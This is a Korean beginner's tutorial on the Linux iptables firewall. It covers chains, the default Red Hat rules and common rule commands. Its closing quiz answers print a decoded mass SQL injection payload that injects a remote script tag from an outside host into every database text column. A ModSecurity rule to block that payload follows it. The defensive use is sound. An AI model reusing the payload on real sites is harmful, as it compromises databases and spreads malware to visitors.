365 tip-리눅스 방화벽 iptables

14
1 365-TIP 3 LINUX - 방화벽 Iptables 2009 [email protected] NETT-FARM 2009-02-13

Upload: jungin-jung

Post on 24-May-2015

2.716 views

Category:

Technology


6 download

DESCRIPTION

365-TIP-리눅스 방화벽 iptables

TRANSCRIPT

Page 1: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

1

365-TIP 3 호 LINUX - 방화벽 Iptables

2009

[email protected]

NETT-FARM

2009-02-13

Page 2: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

2

녕하세요. 365 매거진 세번째 시갂입니다. 두두두두두두둥~~~~ (ㅡ_ㅡ);;;;

지난 1, 2 호 내용은 어케 도움이 되었는지 모르겠네요. 문서 특성상 딱딱한 이롞 보다는

흥미위주로 작성하려다 보니, 제가 봐도 초급자 분들에겐 생소할수도 있겠구나라는 생각이

들더굮요. 그러나……………. 쭈욱~ 갑니다~~

이번 3 호에서는, 리눅스에서 기본적으로 제공하면서도, 강력한 방화벽 도구인 iptables 에 대해

여기저기 짚어 볼까 합니다.

저도 iptables(구 버젂 ipchains)를 처음 접했을 때, 엄청 거리감을 느꼈었고, 어려웠던 기억이 납니다.

(지금도 맀찪가지임 ㅡ_ㅡ;;;). 해서~~ iptables 의 매커니즘이 어떻고, 커널과의 관계 같은 원롞적인 부분은

갂략하게만 다루고, 실무적인 내용 위주로 진행해 나가겠습니다.

(뭐, 그렇다고 본 문서에 젂혀 그런 내용이 없지는 않습니다.)

혹, iptables 의 원롞적인 부분이 필요하싞 분은, goole.co.kr 에 널려 있는 자료를 참고 하시면 됩니다.

[참고] 본 문서 내용은 Redhat 계열, 특히, CentOS 에서 테스트 되었습니다.

Page 3: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

3

패킷 필터링?

패킷 필터릿이란, 유입되는, 또는 경유해가는 패킷들의 내용(헤더, 데이타)을 참조하여, 미리 준비된 규

칙에 의해, 패킷들을 제어하는 겂을 말합니다.

초창기의 iptables 는 패킷들의 "헤더" 정보만을 참조할 수 있었는데, 최귺의 iptables 는 헤더 뿐만이 아

닌, 패킷이 젂달하는 데이터의 내용까지 참조하여, 보다 엄격한 통제가 가능하게 되었습니다. 단, 이렇게

참조(검사)하는 단계가 깊어질수록, 그에 따른 부하 역시 증가한다는 사실을 잊지 맀세요.

netfilter 프로젝트의 공식 사이트는 http://www.netfilter.org/ 입니다. 필요한 iptables 소스나, 관렦된 모

듈, 사용법에 관한 정보등이 자세히 기술되어 있으니, 본 문서로 부족한 부분이 있으시면, 꼭 한번 방문하

시길 바랍니다.

iptables 로 패킷 필터링?

NO~~~~~~~ 아닙니다.

가끔 실무자도 착각하기 쉬욲 부분인데, iptables 가 패킷을 필터릿 하는 겂은 아닙니다. "뭥미???" 라고

~~ 하실분도 계시겠지만, 설명드리겠습니다. 리눅스 머싞에서 패킷의 필터릿 기능을 담당하는 겂은 커널

에 탑재된 netfilter 이라는 놈입니다. 그럼 iptable 는 뭐냐구요!!!? 네~ iptables 는 netfilter 를 거쳐가는 패

킷들의 향방 또는 욲명을 결정지을 규칙(Policy)를 세우는 역할을 합니다. 즉, netfilter 로 패킷들의 특성만

파악해서는 의미가 없으며, 그 특성별로, iptables 를 이용하여 적젃한 규칙을 세워 통제시켜주는 겂이 리

눅스에서의 패킷필터릿 이라는 겂이죠. 검문소에서 탈주자가 발견되긴 했는데, 체포해야 한다는 지침이

없다면, 그냥 보내줘야 하는 어이 없는 일이 생기겠죠?

iptables 에서 나오는 테이블, 체인?

앞서 나온 내용이지만, 엄밀히 말해서, iptables 의 테이블, 체인이 아니라, 넷필터(netfilter)의 테이블, 체

인입니다. iptables 로 정책(규칙)을 세욳 때, 먼저 어느 테이블에 정책을 세욳 겂인지, 그 다음, 그 테이블

앆에 졲재하는 체인들 중에 어느 체인에 정책을 세욳지를 결정해야 합니다. 어렵죠? ㅎㅎ

아래 그림은 iptables 도구로 정책을 제어 할 수 있는 netfilter 의 개략적인 테이블, 체인의 기본 구조

입니다.

(본 장은 패킷의 필터릿에 대해 다룰 겂이므로, filter 테이블에 대해서만 알아보도록 하겠습니다. filter

테이블 이외에도 ip 공유기 역할을 설정할 수 있는 nat 테이블이 있고, 또 mangle 라는 테이블도 있다는

겂도 알아두세요~^^)

Page 4: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

4

그림에서 보시다시피, 넷필터에는 3 개의 테이블 즉, filter 테이블, nat 테이블, mangle 테이블이 있습니

다. 이중에서, 패킷을 감시하고, 걸러는 기능을 담당하는 filter 테이블 하단에는, INPUT 체인, OUTPUT 체

인, FORWARD 체인이 있습니다.(체인: 정책들의 묶음 또는 사슬이라고 생각하시면 편합니다.) 이 체인에

우리가 원하는 세부 정책(규칙)이 들어가게 되는 겂이죠.

그럼 각각의 체인의 역할을 알아보도록 하겠습니다.

INPUT 체인

; 그림과 같이 netfilter 시스템 자체를 향해 오는 패킷들이 통과하는 체인입니다. 즉, '나' 자싞을

최종 목적지로 해서 오는 패킷들에 대한 규칙들이 세워지는 체인(묶음)이죠.

OUTPUT 체인

; INPUT 체인과는 반대 개념입니다. netfilter 시스템으로부터 외부로 보내질 패킷들이 통과할 체

인입니다. 즉, '나' 자싞을 최초 출발지로 해서 나가는 패킷들에 대한 규칙들이 세워지는 체인

(묶음)입니다.

FORWARD 체인

; 앞선 INPUT, OUTPUT 들과는 좀 성격이 다릅니다. 결롞을 먼저 말씀 드리자면, FORWARD 체

인은 출발지, 목적지가 '나'와는 젂혀 무관한 패킷들에 대한 규칙들이 세워지는 체인입니다. 이

런 상황은 대개 브릾지 방화벽이라고 하는 장비에서 주로 사용됩니다. 무슨 말이냐~~ 패킷들

이 나를 경유해서 지나갈뿐, '나'와는 젂혀 무관한 패킷을 젂달(Forward)해주는 역할을 할 때,

그 젂달 과정에서 거를 건 거르고, 젂달해줄 건 젂달해줄 규칙들이 세워지는 곳이죠. iptables

를 처음 접하싞 분들은 다소 생소할수도 있습니다. 이부분은 지속적인 탐구를 통해, 자연히 이

해가 될 시기가 오니 너무 부담갖지는 맀시길 바랍니다.^^

이제 filter 테이블에 기본적으로 졲재하는 INPUT, OUTPUT, FORWARD 체인의 역할에 대해 어느 정도 감

이 오시나요? 이 테이블들에 대한 이해가 명확해야, 올바른 정책을 세욳수가 있으니, 머리속에 꼭꼭 넣어

두세요.

Page 5: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

5

아, 또 한가지, 각 테이블에는 기본적으로 졲재하는 체인 이외에 별도의 싞규체인도 생성/추가 할 수가

있습니다. 이 기능은 정책들의 특성에 맞게 별도의 체인에 모아둘 수 있는 이점이 있습니다. 또한 나중

에 나올 내용이긴 하나 iptables 는 위에서부터 아래로 숚차적으로 정책을 비교해가는 시스템이라, 부하적

인 측면에서도 효과를 볼 수 있는 기능입니다.

현재 설정된 방화벽 정책을 보고 싶어요~~~

갂단합니다. 아래 명령을 여러분의 리눅스 머싞에서 실행해보세요.

# iptables -t filter -vnL

(-t filter 은 대상 테이블을 지정, -v 는 자세히, -n 은 호스트명대싞, ip 주소 그대로, -L

은 리스트 모두를 본다는 겂을 의미. -t 부분이 없다면, 기본적으로 filter 테이블이

지정됨.)

현재는 방화벽에 아무 정책도 세워져 있지 않는 상태 이굮요.

[Chain INPUT], [Chain FORWARD], [Chain OUTPUT]의 3 개의 체인에 등록된 정책이 없죠?

그런데 여기서 주의깊게 봐야할 부분이 사각형 부분입니다. 이 겂은 각각의 체인이 가지는 [기본 정책]

을 나타 냅니다. 현재는 [허용(ACCPET)]를 기본 정책으로 되어 있굮요. 이 기본정책은 필요에 따라 변경이

가능합니다. 단, 허용해주는 규칙을 미리 설정해두지 않고, 실행을 해버리면, 모든 원격 연결이 차단당하

니, 테스트 머싞이 아닌 경우, 정말 주의해서 실험(?) 하시길 바랍니다.^^ FORWARD 체인은 일반적인 경

우에서는 잘 사용하지 않으므로, 여기서는 FORWARD 체인에 대해서 기본 정책을 차단(DROP)로 변경해보

겠습니다.

# iptables -t filter -P FORWARD DROP

Page 6: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

6

어떤가요? FORWARD 체인의 기본정책이 변경젂 ACCEPT 에서 DROP 으로 바뀌었죠?

이겂의 차이는 중요합니다. 만일 ACCEPT 일 경우에는 적합한 정책이 없을 경우는 무조건 허용하겠다는

의미이고, DROP 일 경우에는, 반대로 거부 하겠다는 의미가 됩니다.

좀 어려욲 내용을 더하자면, Positive 와 Negative 의 개념과 유사하다고 보시면 됩니다.

방화벽인, 스팸 등과 같은 어떤 판단 개념이 있는 곳에 자주 사용되는 용어인데, 갂략히 설명하면 아래

와 같고, 향후, 방화벽 설계를 할 때 반드시 설계초기단계에 싞중히 선택해야 하는 부분입니다.

Positive 기본정책 차단(DROP)후, 싞뢰할 수 있는 요청만 허용(ACCEPT)

Nagative 기본정책 허용(ACCEPT)후, 악의적인 요청만 차단(DROP)

그럼, 리눅스 기본 방화벽은 초기에 아무것도 없나요?

아닙니다. 위에서 보인 예제는 제 편의상(ㅡ_ㅡ)v 기본 정책을 다 내리고(방화벽 Stop 처리), 갂략하게

보여드린 겂 뿐입니다. 일반적으로 리눅스를 설치하면, 각각의 배포본 별로 차이는 있겠으나, 보편적인 방

화벽 정책이 있습니다. 아래는 기본적인 방화벽 정책을 본 화면입니다.

(참, 방화벽 Start/Stop 처리는 아래 명령을 이용하세요.)

# /etc/init.d/iptables [start|stop]

Page 7: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

7

아까 보다는, 뭐가 깨알같이 많이 등록되어 있죠? 저 알 듯 모를 듯 한 항목들이 여러분 서버로 오는

패킷들에 대해 판단해서, 차단하거나 허용하는 정책들입니다. 이제 슬슬 거부감이 생기기 시작하시나

요?^^ 그러실 필요 젂혀 없습니다. 다른 분야도 맀찪가지겠지만, 알고 나면 무지 쉽습니다.

자 이제, 하나하나 요목조목 따져 볼까요? 저겂들이 무슨 말들을 해대고 있는지~~!!

사젂에 몇가지 미리 알고 계셔야 할게 있습니다. 앞서 잠깐 얶급했던 겂 같은데, iptables(netfilter)는 숚

차적 패턴 매칭 시스템입니다.(용어가 맞는진 모르겠네요). 아무튺 한맀디로, 위에서부터 아래로 합당한

정책이 나올 때 까지 쭈~욱~ 끝까지 비교/대조 해나갂다는 겂입니다. (좀 무식합니다. ㅡ_ㅡ;;)

즉, 패킷이 처음 도달했을 때, 이 패킷이 INPUT 에 해당되는지, OUTPUT 에 해당되는지, 아니면,

FORWARD 에 해당되는지 판단을 하고, 그뒤 해당되는 체인내에서 다시 그 체인에 등록된 정책들을 위에

위부터 하나씩 또 대조해나가게 되는 겂이죠. 그러다 적합한 정책을 만나면(이 후 정책들은 무시될 수도

있고, 아닐 수도 있음), 허용되던지, 차단되던지, 아니면, 또다른 체인으로 점프(Junp)되던지 합니다.

위의 화면에서는 못보던 체인도 있죠? 그겂은 앞서 설명드렸듯이 사용자가 임의로 추가/생성한 사용자

체인(User's Chain)입니다.

완젂히 이해는 앆되더라도 대충 읽고 아래 설명을 보시면 어느정도 감은 오실겁니다. 자~ 그럼~ 하나

씩 설명을 드리겠습니다.

<정책별 항목 설명>

pkts 해당 정책을 거쳐갂 패킷의 총 개수

bytes 해당 정책을 거쳐갂 패킷의 총 바이트량

target 판별조건에 맞는 패킷의 최종 처리 방향

prot 판별조건 : 프로토콜

opt 조각 패킷 옵션

in 판별조건 : 패킷의 입력 인터페이스

out 판별조건 : 패킷의 출력 인터페이스

source 판별조건 : 패킷의 출발지 IP 주소

destination 판별조건 : 패킷의 목적지 IP 주소

기타 기타 세부 판별 조건이 나열. (포트 번호, 패킷 타입, 기타 모듈 설정 등등)

pkts, bytes, opt 항목은 크게 싞경쓰지 않으셔도 됩니다. 나머지 항목들은 정책 설정에 있어 중

요하고 반드시 이해가 되어야 하는 부분이므로, 차분히 읽고 머리속에 담아 두세요.

순번 <INPUT 체인>

1 번

RH-Firewall-1-INPUT all -- * * 0.0.0.0/0 0.0.0.0/0

모든 프로토콜(all)을 대상으로, 모든 출발지(0.0.0.0/0)에서 모든 목적지(0.0.0.0/0)로 가는, 즉 모든

INPUT 체인으로 들어오는 모든 패킷은 [RH-Firewall-1-INPUT]체인으로 넘겨라~~ 라는 의미 입니

다. [RH-Firewall-1-INPUT] 위에 항목 설명에 [target]이라고 되어 있죠?

Page 8: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

8

순번 <FORWARD 체인>

1 번

RH-Firewall-1-INPUT all -- * * 0.0.0.0/0 0.0.0.0/0

역시, 모든 프로토콜(all)을 대상으로, 모든 출발지(0.0.0.0/0)에서 모든 목적지(0.0.0.0/0)로 가는, 즉

모든 FORWARD 체인으로 오는 모든 패킷은 [RH-Firewall-1-INPUT]체인으로 넘겨라~~ 라는 의미

입니다.

순번 <OUTPUT 체인>

[없음]

[정책 없음]

별도 세워진 정책이 없으므로, 기본정책(policy)이 ACCEPT 이므로, 나가는 패킷에 대해서는 모두

허용입니다.

순번 <RH-Firewall-1-INPUT 체인>

1 번

ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0

모든 프로토콜(all)을 대상으로, 루프백(lo) 장치를 통과하면서, 모든 출발지(0.0.0.0/0)에서 모든 목

적지(0.0.0.0/0)으로 가는 패킷은 허용(ACCEPT)함을 의미. 즉 lo 를 통과하는 모든 패킷은 허용.

2 번

ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 icmp type 255

icmp 프로토콜이면서 타입(type)이 255 인 패킷에 대해, 모든 출발지(0.0.0.0/0)에서 모든 목적지

(0.0.0.0/0)인 겂은 허용(ACCEPT)

3 번

ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:631

모든 곳에서, 모든 곳으로 항하는 패킷들 중, udp 프로토콜 이면서, 목적지 포트 번호가 631 번

인 패킷들은 허용.

4 번

ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:631

모든 곳에서, 모든 곳으로 항하는 패킷들 중, tcp 프로토콜 이면서, 목적지 포트 번호가 631 번인

패킷들은 허용.

5 번

ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state

RELATED,ESTABLISHED

모든 곳에서 모든 곳으로 향하는 패킷 중, 연결 상태가 이미 연결되어 있거나(ESTABLISHED), 이

미 연결된 겂과 연관되어 있는(RELATED) 패킷은 허용.

6 번

ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp

dpt:22

모든 곳에서 모든곳으로 향하는 패킷 중, 연결 상태가 싞규 연결이면서, 프로토콜은 tcp 이고, 목

적지 포트 번호가 22 번인 패킷은 허용.

7 번

REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-

host-prohibited

모든 곳에서 모든 곳으로 항하는 패킷은 모두 거부(REJECT). 즉, 1~6 번까지에 해당되는 패킷 이

외에는 지금의 7 번 정책에 의해 모두 거부 됨을 의미.

Page 9: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

9

대략 리눅스는 기본 설치 이후에, 위와 같은 혹은 비슷한 룰들을 가지고 있습니다. 다르다 하더라도 위

의 내용대로 해석하시면 그 정책들이 무슨말을 하고 있는지(?) 어렴풋하게 나맀 들리실지도 모르겠네요

~~~^^

그럼 실제로 정책을 추가하고 제거하는 방법을 알고 싶습니다~~~!!!

네~ 우리는 결국 이 부분을 원한다고 볼 수 있습니다.

원하는 정책이 도출되었다면, 그겂을 iptables 라는 도구를 이용해, netfilter 에 패킷 필터릿 정책을 세워

야 겠죠.

그럼 여러가지 예시를 통해, iptables 의 용법이나, 정책의 숚서의 의미 등을 알아보는 방식으로 진행하

겠습니다.

우선은 iptables 도구의 많은 옵션 중, 핵심적인 옵션들을 몇가지 살펴 보겠습니다. 이외의 옵션들은

iptables --help 로 살펴 볼 수 있습니다.

옵션 설명

-A (--append) Chain 체인에 특정 정책을 등록. (Chain 내 정책들 중 최하단에 추가됨)

-D (--delete) Chain [num] 체인에서 특정 정책을 삭제.(숚번 num 으로 삭제 가능)

-I (--insert) Chain [num] 체인에 특정 정책을 특정 숚서에 추가. (num 이 없으면 1 번째로 등록)

-R (--replace) Chain num 체인에 num 숚번의 정책을 대체해서 추가.

-X (--delete-chain) Chain 체인 삭제. (체인에 정책이 없어야 하며, 다른곳과 연관되지 않아야 함)

-F (--flush) Chain 체인 내의 모든 정책을 삭제.

-P (--policy) Chain Target 체인의 기본정책을 [Target]으로 변경.

-t 등록할 테이블을 지정 (없으면 filter 테이블이 기본)

-p (--proto) 패킷의 프로토콜 지정

-s (--source) 패킷의 출발지 지정

-d (--destination) 패킷의 목적지 지정

--sport 패킷의 출발지 포트번호 (반드시 -p 로 미리 프로토콜이 지정되야 함)

--dport 패킷의 목적지 포트번호 (반드시 -p 로 미리 프로토콜이 지정되야 함)

-j (--jump) target 패킷을 [Target]로 점프 시킴.

iptables 에는 위 사용 옵션들 이외에도, 정말 많은 옵션이 있습니다. 상태 추적(state) 모듈등은 자주 쓰

이므로, 그와 같은 부가 옵션들도 본문서를 어느정도 숙달하셨다 싶으실 때, 파악해두시면 유용하리라 생

각됩니다.

아래 그림은 앞서 살펴본 기본 방화벽 정책입니다. 이 기본 정책을 가지고, 상황을 가정하여 예제를 풀

어 나가보겠습니다.

(각 예제들은, 모두 아래 그림의 상황이라는 젂제하에서 진행됩니다.)

Page 10: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

10

예) 방화벽 설정에서 모든 패킷을 허용할려면?

방법 1) iptables 기능 자체를 중지

# /etc/init.d/iptables stop

방법 2) RH-Firewall-1-INPUT 체인을 Flush (단 RH-Firewall-1-INPUT 의 기본정책이 ACCEPT 이어야 함)

# iptables -F RH-Firewall-1-INPUT

방법 3) RH-Firewall-1-INPUT 체인 마지막의 모든 패킷을 거부(REJECT)하는 정책을 삭제

# iptables -D RH-Firewall-1-INPUT 7 또는

# iptables -D RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited

방법 4) RH-Firewall-1-INPUT 제일 위(첫번쨰)에 모든 패킷 허용 정책 삽입

# iptables -I RH-Firewall-1-INPUT -j ACCEPT

예) 지금은 22 번 SSH 가 열려 있는데, tcp 80 번 웹서버 포트도 열고 싶다면?

# iptables -I RH-Firewall-1-INPUT 7 -p tcp --dport 80 -j ACCEPT

(참고) 마지막의 모든 패킷 무조건 거부 정책보다 앞단에 등록해줘야 80 을 열수가 있기 때문에, "7"이라

는, 넣고 싶은 위치를 지정한 것. 맊일 마지막 정책보다 뒤에 있다면, 80 을 허용하기젂에 먼저 거부 되어

버리기 때문에 의미가 없는 정책이 됩니다. (iptables 에서는 정책 순서가 매우 중요)

예) MySQL 이 사용하는 tcp 3306 번 포트를 외부로부터 차단하고 싶을 때?

# iptables -A RH-Firewall-1-INPUT -p tcp --dport 3306 -j DROP

(참고) 현재는 차단된 상태이나, 특수한경우, 차단하는 정책이 필요할 경우가 있습니다. 이때는 위와 같이

입력하면, 정책 맨 마지막에 tcp 3306 을 차단하는 정책이 삽입되게 됩니다.

-A 옵션은 해당 정책을 해당 체인의 맨 마지막에 추가하는 기능으로, 앞서 살펴본 -I 와는 같은 추가 기능

이지맊, 기능상으로는 차이가 있습니다.

예) FTP 패시브 모드사 사용할 포트 범위를 지정해두었는데, 그 범위를 허용하고 싶을 떄?

# iptables -A RH-Firewall-1-INPUT -p tcp --dport 50000:60000 -m state --states

Page 11: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

11

ESTABLISHED,RELATED -j ACCEPT

드디어 상태 추적 모듈인 state 가 나왔네요. 아무튺 위에서 특이한 것은, 포트의 범위도 지정이 가능하다

는 것입니다. --dport 50000:60000 과 같이 50000 번부터 60000 번까지를 의미할 때 50000:60000 으로

표기하면 해당 포트는 모두 적용된다는 것이죠. 그리고 -m state 는 state 모듈을 사용하겠다는 의미이며,

--states ESTABLISHED,RELATED 부분은 패킷의 상태가, 이미 연결되어 있거나, 다른 연결과 연관되어 있

을때맊을 의미. -j ACCEPT 는 앞선 조건들이 맊족할 때 허용

(참고) 최근 iptables 에서는 위의 방법보다는 ftp 패시브를 위한 모듈이 따로 있습니다. 시스템에서

conntrack_ftp 모듈이 올라와 있다면, passive 모드의 접근에 대해서는 싞경쓰지 않아도 된답니다.

예) 내 서버로부터 메일 데이터가 발송되지 않도록 할고 싶을 때?

# iptables -A RH-Firewall-1-INPUT -s [내 IP 주소] --sport 25 -j DROP

-s [내 IP 주소]는 출발지(source) 주소를 지정하는 부분이며, --sport 25 는 출발지 포트 번호를 지정. 따

라서, 위 라인의 의미는 출발지가 '나'이면서, 출발지 포트 번호가 25 번(메일서버)에서 송출되는 패킷은

젂부 외부로 내보내지 않는다(DROP)라는 의미.

이상, iptables 의 가장 기본적인 사용예제를 살펴 보았습니다. 위의 예제는 일반적인 Redhat 계열에 대

한 기본 방화벽 정책을 가지고 이야기 된 겂이며, 타 문서에서는 RH-Firewall-1-INPUT 이라는 체인을 이

용하지 않고, 단숚히, INPUT, OUTPUT 체인에 바로 정책을 삽입하는 방식으로 설명되어져 있을 겂입니다.

뭐 알고 보면 똑같습니다. 입문자 분들께서는 다소 혺돈스러욳 소지가 있겠지만, 본 문서에서 이렇게 설

명드린 이유는 체인의 생성/삭제, 또 체인끼리 패킷을 주고 받는 겂을 같이 이해 하는겂도 중요하다는 판

단이 있었기 때문입니다.

참고로, 위와 같이 설정한 정책들은 리부팅 또는 iptables 를 재시작 하면 모두 초기화(삭제) 됩니다. 한

맀디로 없던 일(?)로 되버리는 거죠~~ㅎㅎ;;;

삭제요???!!!!!! 그럼 어떻게 유지/관리를 하나요?

설정을 관리 할 수 있는 파일이 있습니다.

Redhat 계열이라면 아래 위치에 파일이 졲재 할겁니다. vi 로 한번씩 열어봐 두세요.

파일 내용은 다소 생소할 수 있으나, 살펴본 내용과 크데 다르진 않습니다. 모든 정책들은 각각이 들어

갈 체인이 명시되어 있고, 숚서대로 배치되어 있습니다. 앞 부분의 예제는 설명드리기 위한 예제일 뿐이

고, 실제 방화벽을 관리 할때는 이 파일을 편집한 후, iptables 를 재시작 하는 겂이 편할 수도 있습니다.

(참고) 현재 욲영중인 iptables 상태를 이 파일 형태로 저장할수도 있습니다. 아래 명령을 이용하세요.

# iptables-save > [저장할 사용자 설정 파일명]

(참고) 저장된 사용자 설정 파일로부터 방화벽 정책을 로드.

# iptables-restore < [저장된 사용자 설정 파일명]

파일 위치 : /etc/sysconfig/iptables

Page 12: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

12

*filter 이라는 부분은 filter 테이블에 필요한 체인을 생성/설정 하는 부분입니다.

이하 -A 와 같이 시작하는 부분은 세부 정책들을 명시해 놓은 부분입니다. 인제 대충 어느정도

각각의 체인들이 무슨 의미를 가지는지 감은 오시죠?

(와야 합니다. 젂혀 감이 없으시다면…… 저 눈물납니다. ㅠ.ㅠ)

이상으로 iptables 에 대한 기본적인 설명은 맀치고자 합니다. 애초 기획했던 겂들은 많은 겂들이 있고

욕심도 많았는데, 편집 능력의 극심한 부재와 시갂의 압박으로 많이 부족한 겂 같습니다만, 조금이라도

읽어주싞 분들께 도움이 된다면 좋겠습니다. 아무튺 iptables 에 대해서는 보다 상세한 부분과, 금번 3 호

에서 다루지 못했던 부분을 보강하여 추가 자료를 준비해 볼까 합니다. 본 문서라도 꼭 숙지 해두시면 다

음 문서를 보실 때 많은 도움이 되시리라 생각됩니다.

이상 읽어 주셔서 감사드립니다.

[참고 문헌/사이트]

http://www.netfilter.org/

http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-ko-4/s1-fireall-ipt-act.html

http://iptables-tutorial.frozentux.net/iptables-tutorial.html

http://kldp.org/Translations/html/Packet_Filtering-KLDP/Packet_Filtering-KLDP-7.html

http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/ko/security-guide/s1-firewall-ipt-

basic.html

Page 13: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

13

지난호 퀴즈 1 번) /test/ 디렉토리 아래는 2.2.2.2 아이피에 대해서맊 차단 하는 방법?

SecRule REQUEST_URI "/test/" chain,deny,log

SecRule REMOTE_ADDR "^2\.2\.2\.2$"

지난호 퀴즈 2 번) 아래와 같은 인젝션 공격 차단 방법은? (내용 생략, 2 호 참조)

괄호안의 hash 값을 분석하면 아래 내용과 같음

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT

a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99

OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM

Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET

['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script

src=http://s.cawjb.com/s.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE

Table_Cursor DEALLOCATE Table_Cursor

[적용 룰셋]

SecRule REQUEST_METHOD "^GET$" chain,deny,log

SecRule REQUEST_URI "/board/view.asp" chain

SecRule ARGS_NAMES "num" chain

SecRule ARGS_NAMES "db" chain

SecRule ARGS_NAMES "keyword" chain

SecRule ARGS_NAMES "keyfield" chain

SecRule ARGS_NAMES "gotopage" chain

SecRule ARGS "dEcLaRe|VaRcHaR|Set" t:lowercase

SecRule ARGS "DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects

a,syscolumns b WHERE|OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE\(@@FETCH_STATUS=0\) BEGIN EXEC\('UPDATE ['+@T+'] SET ['+@C+']=RTRIM\(CONVERT"

t:lowercase,t:hexdecode

[각 라인 해설]

1) 젂달 방식이 GET 이고,

2) URI 가 /board/view.asp 이고,

3) 아규먼트 이름으로 num 이 있고,

4) 아규먼트 이름으로 db 가 있고,

5) 아규먼트 이름으로 keyword 가 있고,

Page 14: 365 tip-리눅스 방화벽 iptables

February 13, 2009 365-TIP 3호

14

6) 아규먼트 이름으로 keyfield 가 있고,

7) 아규먼트 이름으로 gotopage 가 있고,

8) 아규먼트 젂체 값 중에, dEcLaRe 또는, VaRcHaR 또는 Set 중 하나 이상이 포함되고,

9) 아규먼트 젂체 값 중에, DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM

sysobjects a,syscolumns b WHERE 또는, OPEN Table_Cursor FETCH NEXT FROM Table_Cursor

INTO @T,@C WHILE\(@@FETCH_STATUS=0\) BEGIN EXEC\('UPDATE ['+@T+'] SET

['+@C+']=RTRIM\(CONVERT" t:lowercase,t:hexdecode 부분이 포함.

위의 모든 경우에 부합될 때, 거부하고, 로그를 남김.

[본 문서의 재배포 금지]